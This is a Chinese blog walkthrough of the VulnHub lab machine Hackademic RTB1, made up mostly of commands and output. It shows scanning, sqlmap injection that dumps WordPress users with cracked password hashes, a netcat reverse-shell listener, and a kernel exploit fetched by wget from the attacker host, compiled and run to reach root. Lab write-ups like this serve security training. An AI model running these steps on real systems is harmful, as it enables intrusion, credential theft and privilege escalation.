HACKADEMIC: RTB1

已于 2023-03-15 16:42:01 修改
阅读量168 收藏
点赞数
分类专栏： 打靶 渗透测试 vulnhub 文章标签： linux 网络 服务器
于 2023-03-15 16:41:31 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/mysmycbx/article/details/129548994
版权
打靶 同时被 3 个专栏收录
35 篇文章 0 订阅
订阅专栏
渗透测试
35 篇文章 0 订阅
订阅专栏
vulnhub
30 篇文章 1 订阅
订阅专栏

HACKADEMIC: RTB1

https://www.vulnhub.com/entry/hackademic-rtb1,17/

扫描主机

# yunki @ yunki in ~/vulnhub/HackademicRTB1 [15:15:01] 
$ nmap -sn 192.168.54.0/24                 
Nmap scan report for 192.168.54.8
Host is up (0.00057s latency).

nmap扫描

7.93 ( https://nmap.org ) at 2023-03-15 15:15 CST
Nmap scan report for 192.168.54.8
Host is up (0.00093s latency).
Not shown: 65515 filtered tcp ports (no-response), 18 filtered tcp ports (host-unreach)
PORT   STATE  SERVICE
22/tcp closed ssh
80/tcp open   http

# yunki @ yunki in ~/vulnhub/HackademicRTB1 [15:16:26] C:1
$ sudo nmap -sT -sV -O -p22,80 192.168.54.8
[sudo] yunki 的密码：
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-15 15:16 CST
Nmap scan report for 192.168.54.8
Host is up (0.00050s latency).
PORT   STATE  SERVICE VERSION
22/tcp closed ssh
80/tcp open   http    Apache httpd 2.2.15 ((Fedora))
MAC Address: 00:0C:29:01:8A:4D (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.22 - 2.6.36
Network Distance: 1 hop
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.37 seconds

# yunki @ yunki in ~/vulnhub/HackademicRTB1 [15:16:40] 
$ sudo nmap -sU -p22,80 192.168.54.8
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-15 15:16 CST
Nmap scan report for 192.168.54.8
Host is up (0.00050s latency).
PORT   STATE    SERVICE
22/udp filtered ssh
80/udp filtered http
MAC Address: 00:0C:29:01:8A:4D (VMware)
Nmap done: 1 IP address (1 host up) scanned in 0.29 seconds


# yunki @ yunki in ~/vulnhub/HackademicRTB1 [15:16:55] 
$ sudo nmap --script=vuln -p22,80 192.168.54.8
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-15 15:17 CST
Pre-scan script results:
| broadcast-avahi-dos: 
|   Discovered hosts:
|     224.0.0.251
|   After NULL UDP avahi packet DoS (CVE-2011-1002).
|_  Hosts are all up (not vulnerable).
Nmap scan report for 192.168.54.8
Host is up (0.00059s latency).

PORT   STATE  SERVICE
22/tcp closed ssh
80/tcp open   http
| http-enum: 
|_  /icons/: Potentially interesting folder w/ directory listing
| http-slowloris-check: 
|   VULNERABLE:
|   Slowloris DOS attack
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2007-6750
|       Slowloris tries to keep many connections to the target web server open and hold
|       them open as long as possible.  It accomplishes this by opening connections to
|       the target web server and sending a partial request. By doing so, it starves
|       the http server's resources causing Denial Of Service.
|       
|     Disclosure date: 2009-09-17
|     References:
|       http://ha.ckers.org/slowloris/
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_http-trace: TRACE is enabled
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
| http-vuln-cve2011-3192: 
|   VULNERABLE:
|   Apache byterange filter DoS
|     State: VULNERABLE
|     IDs:  BID:49303  CVE:CVE-2011-3192
|       The Apache web server is vulnerable to a denial of service attack when numerous
|       overlapping byte ranges are requested.
|     Disclosure date: 2011-08-19
|     References:
|       https://www.securityfocus.com/bid/49303
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3192
|       https://seclists.org/fulldisclosure/2011/Aug/175
|_      https://www.tenable.com/plugins/nessus/55976
|_http-dombased-xss: Couldn't find any DOM based XSS.
MAC Address: 00:0C:29:01:8A:4D (VMware)

Nmap done: 1 IP address (1 host up) scanned in 170.89 seconds

web渗透

在这里插入图片描述

目录扫描

# yunki @ yunki in ~/vulnhub/HackademicRTB1 [15:16:08] 
$ dirb http://192.168.54.8/                     

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Wed Mar 15 15:19:13 2023
URL_BASE: http://192.168.54.8/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://192.168.54.8/ ----
+ http://192.168.54.8/cgi-bin/ (CODE:403|SIZE:288)                                                                                                    
+ http://192.168.54.8/index.html (CODE:200|SIZE:1475)                                                                                                 
+ http://192.168.54.8/phpmyadmin (CODE:403|SIZE:290)                                                                                                  
+ http://192.168.54.8/phpMyAdmin (CODE:403|SIZE:290)                                                                                                  
                                                                                                                                                      
-----------------
END_TIME: Wed Mar 15 15:19:24 2023
DOWNLOADED: 4612 - FOUND: 4


# 他告诉我们target是这个http://192.168.54.8/Hackademic_RTB1/
在dirb扫一下这个目录
# yunki @ yunki in ~/vulnhub/HackademicRTB1 [15:41:06] 
$ dirb http://192.168.54.8/Hackademic_RTB1/

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Wed Mar 15 15:41:20 2023
URL_BASE: http://192.168.54.8/Hackademic_RTB1/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://192.168.54.8/Hackademic_RTB1/ ----
+ http://192.168.54.8/Hackademic_RTB1/index.php (CODE:500|SIZE:1881)               
==> DIRECTORY: http://192.168.54.8/Hackademic_RTB1/wp-admin/                       
==> DIRECTORY: http://192.168.54.8/Hackademic_RTB1/wp-content/                     
==> DIRECTORY: http://192.168.54.8/Hackademic_RTB1/wp-images/                      
==> DIRECTORY: http://192.168.54.8/Hackademic_RTB1/wp-includes/                    
+ http://192.168.54.8/Hackademic_RTB1/xmlrpc.php (CODE:200|SIZE:42)                
                                                                                   
---- Entering directory: http://192.168.54.8/Hackademic_RTB1/wp-admin/ ----
+ http://192.168.54.8/Hackademic_RTB1/wp-admin/admin.php (CODE:302|SIZE:0)         
+ http://192.168.54.8/Hackademic_RTB1/wp-admin/index.php (CODE:302|SIZE:0)         
                                                                               
-----------------
END_TIME: Wed Mar 15 15:41:44 2023
DOWNLOADED: 9224 - FOUND: 4

访问网页，发现192.168.54.8/Hackademic_RTB1/?cat=1有sql注入，直接sqlmap跑。

sqlmap

# yunki @ yunki in ~/vulnhub/HackademicRTB1 [15:52:55] 
$ sqlmap -u "192.168.54.8/Hackademic_RTB1/?cat=1" --current-db --batch         

current database: 'wordpress'


# yunki @ yunki in ~/vulnhub/HackademicRTB1 [15:52:58] 
$ sqlmap -u "192.168.54.8/Hackademic_RTB1/?cat=1" -D wordpress --tables --batch

Database: wordpress
[9 tables]
+-------------------+
| wp_categories     |
| wp_comments       |
| wp_linkcategories |
| wp_links          |
| wp_options        |
| wp_post2cat       |
| wp_postmeta       |
| wp_posts          |
| wp_users          |
+-------------------+


# yunki @ yunki in ~/vulnhub/HackademicRTB1 [15:53:01] 
$ sqlmap -u "192.168.54.8/Hackademic_RTB1/?cat=1" -D wordpress -T wp_users --columns --batch

Database: wordpress
Table: wp_users
[22 columns]
+---------------------+---------------------+
| Column              | Type                |
+---------------------+---------------------+
| ID                  | bigint(20) unsigned |
| user_activation_key | varchar(60)         |
| user_aim            | varchar(50)         |
| user_browser        | varchar(200)        |
| user_description    | longtext            |
| user_domain         | varchar(200)        |
| user_email          | varchar(100)        |
| user_firstname      | varchar(50)         |
| user_icq            | int(10) unsigned    |
| user_idmode         | varchar(20)         |
| user_ip             | varchar(15)         |
| user_lastname       | varchar(50)         |
| user_level          | int(2) unsigned     |
| user_login          | varchar(60)         |
| user_msn            | varchar(100)        |
| user_nicename       | varchar(50)         |
| user_nickname       | varchar(50)         |
| user_pass           | varchar(64)         |
| user_registered     | datetime            |
| user_status         | int(11)             |
| user_url            | varchar(100)        |
| user_yim            | varchar(50)         |
+---------------------+---------------------+


# yunki @ yunki in ~/vulnhub/HackademicRTB1 [15:53:14] 
$ sqlmap -u "192.168.54.8/Hackademic_RTB1/?cat=1" -D wordpress -T wp_users -C user_nickname,user_pass,user_level --dump --batch

Database: wordpress                                                                                                                                                       
Table: wp_users
[6 entries]
+---------------+---------------------------------------------+------------+
| user_nickname | user_pass                                   | user_level |
+---------------+---------------------------------------------+------------+
| NickJames     | 21232f297a57a5a743894a0e4a801fc3 (admin)    | 1          |
| MaxBucky      | 50484c19f1afdaf3841a0d821ed393d2 (kernel)   | 0          |
| GeorgeMiller  | 7cbb3252ba6b7e9c422fac5334d22054 (q1w2e3)   | 10         |
| JasonKonnors  | 8601f6e1028a8e8a966f6c33fcd9aec4 (maxwell)  | 0          |
| TonyBlack     | a6e514f9486b83cb53d8d932f9a04292 (napoleon) | 0          |
| JohnSmith     | b986448f0bb9e5e124ca91d3d650f52c            | 0          |
+---------------+---------------------------------------------+------------+

这里，根据字段的内容，我选取了比较重要的用户名，密码和等级等信息。这里可以发现GeorgeMille的权限最高，这里尝试使用该用户登录wp后台吧。访问这个http://192.168.54.8/Hackademic_RTB1/wp-admin/，直接被重定向到登录页面。
在这里插入图片描述在这里插入图片描述
通过浏览网页发现，这里可以编辑php，写一个反弹shell试试。
开启端口监听。访问http://192.168.54.8/Hackademic_RTB1/wp-content/plugins/hello.php

# yunki @ yunki in ~ [16:02:39] 
$ sudo nc -lvnp 443                                                                                                            
listening on [any] 443 ...
connect to [192.168.54.128] from (UNKNOWN) [192.168.54.8] 47172
bash: no job control in this shell
bash-4.0$ whoami
whoami
apache

权限提升

bash-4.0$ uname -a
uname -a
Linux HackademicRTB1 2.6.31.5-127.fc12.i686 #1 SMP Sat Nov 7 21:41:45 EST 2009 i686 i686 i386 GNU/Linux
bash-4.0$ uname -r
uname -r
2.6.31.5-127.fc12.i686

kali

# yunki @ yunki in ~/vulnhub/HackademicRTB1 [16:34:32] 
$ searchsploit 2.6.3 | grep "Privilege Escalation"
Linux 2.6.30 < 2.6.36-rc8 - Reliable Datagram Sockets (RDS) Privilege Escalation (Metasploit)                                            | linux/local/44677.rb
Linux Kernel 2.4.1 < 2.4.37 / 2.6.1 < 2.6.32-rc5 - 'pipe.c' Local Privilege Escalation (3)                                               | linux/local/9844.py
Linux Kernel 2.4.4 < 2.4.37.4 / 2.6.0 < 2.6.30.4 - 'Sendpage' Local Privilege Escalation (Metasploit)                                    | linux/local/19933.rb
Linux Kernel 2.6.0 < 2.6.31 - 'pipe.c' Local Privilege Escalation (1)                                                                    | linux/local/33321.c
Linux Kernel 2.6.10 < 2.6.31.5 - 'pipe.c' Local Privilege Escalation                                                                     | linux/local/40812.c
Linux Kernel 2.6.27 < 2.6.36 (RedHat x86-64) - 'compat' Local Privilege Escalation                                                       | linux_x86-64/local/15024.c
Linux Kernel 2.6.30 < 2.6.30.1 / SELinux (RHEL 5) - Local Privilege Escalation                                                           | linux/local/9191.txt
Linux Kernel 2.6.32 (Ubuntu 10.04) - '/proc' Handling SUID Privilege Escalation                                                          | linux/local/41770.txt
Linux Kernel 2.6.32 - 'pipe.c' Local Privilege Escalation (4)                                                                            | linux/local/10018.sh
Linux Kernel 2.6.32 < 3.x (CentOS 5/6) - 'PERF_EVENTS' Local Privilege Escalation (1)                                                    | linux/local/25444.c
Linux Kernel 2.6.36-rc8 - 'RDS Protocol' Local Privilege Escalation                                                                      | linux/local/15285.c
Linux Kernel 2.6.37 (RedHat / Ubuntu 10.04) - 'Full-Nelson.c' Local Privilege Escalation                                                 | linux/local/15704.c
Linux Kernel 2.6.39 < 3.2.2 (Gentoo / Ubuntu x86/x64) - 'Mempodipper' Local Privilege Escalation (1)                                     | linux/local/18411.c
Linux Kernel 2.6.39 < 3.2.2 (x86/x64) - 'Mempodipper' Local Privilege Escalation (2)                                                     | linux/local/35161.c
Linux Kernel < 2.6.34 (Ubuntu 10.10 x86) - 'CAP_SYS_ADMIN' Local Privilege Escalation (1)                                                | linux_x86/local/15916.c
Linux Kernel < 2.6.34 (Ubuntu 10.10 x86/x64) - 'CAP_SYS_ADMIN' Local Privilege Escalation (2)                                            | linux/local/15944.c
Linux Kernel < 2.6.36-rc1 (Ubuntu 10.04 / 2.6.32) - 'CAN BCM' Local Privilege Escalation                                                 | linux/local/14814.c
Linux Kernel < 2.6.36-rc4-git2 (x86-64) - 'ia32syscall' Emulation Privilege Escalation                                                   | linux_x86-64/local/15023.c
Linux Kernel < 2.6.36.2 (Ubuntu 10.04) - 'Half-Nelson.c' Econet Privilege Escalation                                                     | linux/local/17787.c
Linux Kernel < 2.6.37-rc2 - 'ACPI custom_method' Local Privilege Escalation                                                              | linux/local/15774.c
ReiserFS (Linux Kernel 2.6.34-rc3 / RedHat / Ubuntu 9.10) - 'xattr' Local Privilege Escalation                                           | linux/local/12130.py

（好多啊，这里用了好多个都不行，最后使用Linux Kernel 2.6.36-rc8 - 'RDS Protocol' Local Privilege Escalation 成功了 TAT）

# yunki @ yunki in ~/vulnhub/HackademicRTB1 [16:36:03] 
$ searchsploit -m 15285.c                         
  Exploit: Linux Kernel 2.6.36-rc8 - 'RDS Protocol' Local Privilege Escalation
      URL: https://www.exploit-db.com/exploits/15285
     Path: /usr/share/exploitdb/exploits/linux/local/15285.c
File Type: C source, ASCII text, with CRLF line terminators

Copied to: /home/yunki/vulnhub/HackademicRTB1/15285.c



# yunki @ yunki in ~/vulnhub/HackademicRTB1 [16:36:09] 
$ php -S 0:80
[Wed Mar 15 16:36:16 2023] PHP 7.4.15 Development Server (http://0:80) started

靶机

bash-4.0$ wget http://192.168.54.128/15285.c
wget http://192.168.54.128/15285.c
--2023-03-15 01:59:35--  http://192.168.54.128/15285.c
Connecting to 192.168.54.128:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 7155 (7.0K) [text/x-c]
Saving to: `15285.c.1'

     0K ......                                                100%  618M=0s

2023-03-15 01:59:35 (618 MB/s) - `15285.c.1' saved [7155/7155]

bash-4.0$ gcc 15285.c -o 15285  
gcc 15285.c -o 15285
bash-4.0$ chmod +x 15285  
chmod +x 15285
bash-4.0$ ./15285  
./15285
[*] Linux kernel >= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Resolving kernel addresses...
 [+] Resolved security_ops to 0xc0aa19ac
 [+] Resolved default_security_ops to 0xc0955c6c
 [+] Resolved cap_ptrace_traceme to 0xc055d9d7
 [+] Resolved commit_creds to 0xc044e5f1
 [+] Resolved prepare_kernel_cred to 0xc044e452
[*] Overwriting security ops...
[*] Linux kernel >= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Resolving kernel addresses...
 [+] Resolved security_ops to 0xc0aa19ac
 [+] Resolved default_security_ops to 0xc0955c6c
 [+] Resolved cap_ptrace_traceme to 0xc055d9d7
 [+] Resolved commit_creds to 0xc044e5f1
 [+] Resolved prepare_kernel_cred to 0xc044e452
[*] Overwriting security ops...
[*] Overwriting function pointer...
[*] Linux kernel >= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Resolving kernel addresses...
 [+] Resolved security_ops to 0xc0aa19ac
 [+] Resolved default_security_ops to 0xc0955c6c
 [+] Resolved cap_ptrace_traceme to 0xc055d9d7
 [+] Resolved commit_creds to 0xc044e5f1
 [+] Resolved prepare_kernel_cred to 0xc044e452
[*] Overwriting security ops...
[*] Overwriting function pointer...
[*] Triggering payload...
[*] Restoring function pointer...
whoami
root
ip a 
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue state UNKNOWN 
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1000
    link/ether 00:0c:29:01:8a:4d brd ff:ff:ff:ff:ff:ff
    inet 192.168.54.8/24 brd 192.168.54.255 scope global eth0
    inet6 fe80::20c:29ff:fe01:8a4d/64 scope link 
       valid_lft forever preferred_lft forever
TryHardToKeep
关注
专栏目录
[靶机渗透笔记] HACKADEMIC: RTB1
H4ppyD0g的博客
01-23 2228
靶机链接https://www.vulnhub.com/entry/hackademic-rtb1,17/ 确定靶机 扫描存活主机 sudo nmap -sP 192.168.200.129/24 扫描具体信息 sudo nmap 192.168.200.129/24 192.168.200.134开启22和80端口，为靶机的ip地址。 前期扫描 nmap扫描靶机开启的两个端口的版本信息 sudo nmap -p 22,80 -sV 192.168.200.134 针对80端口 nmap默认脚本扫
[VulnHub靶机渗透] Hackademic: RTB1
人若无名，便可专心练剑
05-06 1133
靶机精讲之Hackademic: RTB1，vulnhub靶机，手动SQL注入，小试牛刀，内核提权。读遍牙签三万轴，欲来小邑试牛刀。
Vulnhub靶机系列：Hackademic: RTB1
汗的博客
03-30 2227
https://www.hackingarticles.in/hack-the-hackademic-rtb1-vm-boot-to-root/ 文章目录靶机设置利用知识及工具信息收集并getshell提权总结 靶机地址 https://www.vulnhub.com/entry/hackademic-rtb1,17/ 靶机设置 利用知识及工具 信息收集并getshell 提权 总结 ...
oscp——Hackademic: RTB1
王嘟嘟的博客
02-22 591
0x00 前言 这是第33台机子啦 0x01 信息收集 0x02 Web80——webshell 访问一下网站，发现一个说明，这个时候一般都是要扫一下目录。 这里找到了一个特别的url，这里测试了一下sql注入 http://192.168.25.207/Hackademic_RTB1/?cat=1 拿到了一些账号密码，使用GeorgeMiller q1w2e3 进行登录 写一个反弹s...
Hackademic.RTB1-渗透报告
weixin_73942557的博客
10-30 162
找出服务器存在的安全隐患，和服务器管理员的相关人员的不安全行为，因此本次渗透流程采用黑盒测试。建议将网站的后台界面做有效的安全性处理，对用户的访问权限做有效的限制，对接受的参数做有效的安全性校验和过滤。这个靶机主要是利用泄露的敏感目录，然后访问到后台页面，通过注入漏洞拿到后台管理员的密码，从而造成服务器权限的丢失。找出目标服务器存在的脆弱性、威胁面、影响范围等多维度的安全问题，为服务器和网站的后续加固提供思路。减低敏感目录权限，对url接受的参数加上有效的校验和过滤，固定文件上传的类型。
Hackademic.RTB1靶机渗透笔记
m0_72212352的博客
10-31 343
4.点击该连接，进入以下页面，提示目标为根目录的Key.txt，同时出现两个连接，分别访问。发现只有登录GeorgeMiller账号出现文件上传点，设置允许上传文件。查看id，已经提升到root权限，在根目录找到key.txt文件并查看。使用sqlmap进行扫描，出现结果，以此为突破点进行深入扫描。7.知道了可以登录的用户名和密码，要找到可以进行登录的地方。kali接收到反弹shell，并查看系统版本。3.出现web服务，进行访问，存在跳转连接。使用sql进行扫描，结果显示不存在。
Hackademic.RTB1靶场详细通关教程
weixin_59147806的博客
11-10 202
Hackademic.RTB1靶场详细通关教程，包括getshell、提权及flag获取。
Hackademic.RTB1（靶场）
hovcfuti的博客
10-30 92
一顿瞎找，发现在option中的miseellaneous中可以开启文件上传功能。成功登录，但是没什么发现，这个用户密码虽然是admin，但是权限不高。在网站里游荡，发现cat=1的参数，测一下，发现有原始报错信息。还有保存路径和允许上传形式，记好保存路径，在允许上传php脚本。试了好多个都不太行，最后上百度查了一下，发现15285可以。gcc编译：gcc 15285.c -o exp。对靶机进行端口扫描，发现开放22，80端口。浏览器访问上传的木马，msf就会上线。搞下来，然后用哥斯拉上传，
oscp——Hackademic: RTB2
王嘟嘟的博客
02-22 747
0x00 前言 这是第34台机子啦。 0x01 信息收集 0x02 Web80——webshell 访问一下80端口的内容 这里使用万能密码进行绕过，获取到秘钥 先进行一个url的解码 然后进行ascii解码 先将空格去除 00110001 00110000 00110000 00110001 00111010 00110001 00110001 ...
CTF之Hackademic RTB1 靶机渗透（Wordpress1.5 SQL注入）
afei001
08-22 619
练习环境     攻击机：kali     靶机：Hackademic: RTB1     下载地址：https://download.vulnhub.com/hackademic/Hackademic.RTB1.zip      1.发现靶机，端口扫描 root@kali:~# netdiscover -r 100.100.100.0/16 _____________________________________________________________________________ .
CTF之Hackademic RTB2 靶机渗透(万能密码 端口敲门 joomla1.5 SQL注入)
afei001
08-22 885
练习环境     攻击机：kali     靶机：Hackademic: RTB2     下载地址：https://download.vulnhub.com/hackademic/Hackademic.RTB2.zip      1.发现靶机，端口扫描 root@kali:~# netdiscover -r 100.100.100.0/16 _____________________________________________________________________________ .
【Linux实践】实验四：Shell实用功能及文件权限
Fulling的博客
09-25 751
实验内容 1、使用命令“cat /etc/named.conf”设置为别名named，然后再取消别名。 2、使用echo命令和输出重定向创建文本文件/root/nn，内容是hello，然后再使用追加重定向输入内容为word。 3、使用管道方式分页显示/etc/passwd的内容。 4、分别用文字设定法和数字设定法，对/root/ab文件设置权限，所有者为读取、写入和执行权限，同组用户为读取和写入权限，其他用户没有任何权限。 5、将文件/root/ab所有者更改为用户zhangsan。 6、将目录/root/
Linux 安装redis主从模式+哨兵模式3台节点
最新发布
一千个读者就有一千个哈姆雷特
09-27 337
Linux 安装redis主从模式+哨兵模式3台节点
【linux】gcc makefile
Quietcoder的博客
09-24 1107
在静态链接中，链接器（如GNU的。
linux 源代码编译
Lxn2zh的博客
09-27 1242
有时候会在linux上下载源码包，然后进行编译成可执行的文件，这个过程需要经过configure、make、make install、make clean四个步骤。configure 为这个程序在当前的操作系统环境下选择合适的编译器和环境参数来编译该代码。make install 将已编译好的可执行文件安装到操作系统指定或默认的安装目录下。make 对程序代码进行编译操作，会将源码编译成可执行的目标文件。make clean 删除编译时临时产生的目录或文件。
[Linux]：线程(一)
Bettysweetyaaa的博客
09-26 733
想深入了解线程吗？本文将为你详细解读线程的概念、优缺点、异常及用途，还介绍了 Linux 中线程的控制方法。快来阅读，提升你的编程技能，探索多线程的奥秘！
Linux 网络安全守护：构建安全防线的最佳实践
weixin_62641226的博客
09-23 1028
通过定期更新系统、强化用户权限管理、配置防火墙、使用SSH安全连接、定期备份数据、监控系统日志以及安装安全工具，用户可以有效提升Linux系统的安全性，构建坚固的网络安全防线。Linux系统通常内置了防火墙工具，如`iptables`和`firewalld`。用户应根据实际需求，设置合适的规则，限制不必要的端口和服务。可以使用`rsync`、`tar`等工具进行备份，确保在发生安全事件时能够快速恢复。此外，定期审查用户账户和权限，及时删除不再使用的账户，确保只有必要的用户能够访问系统。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值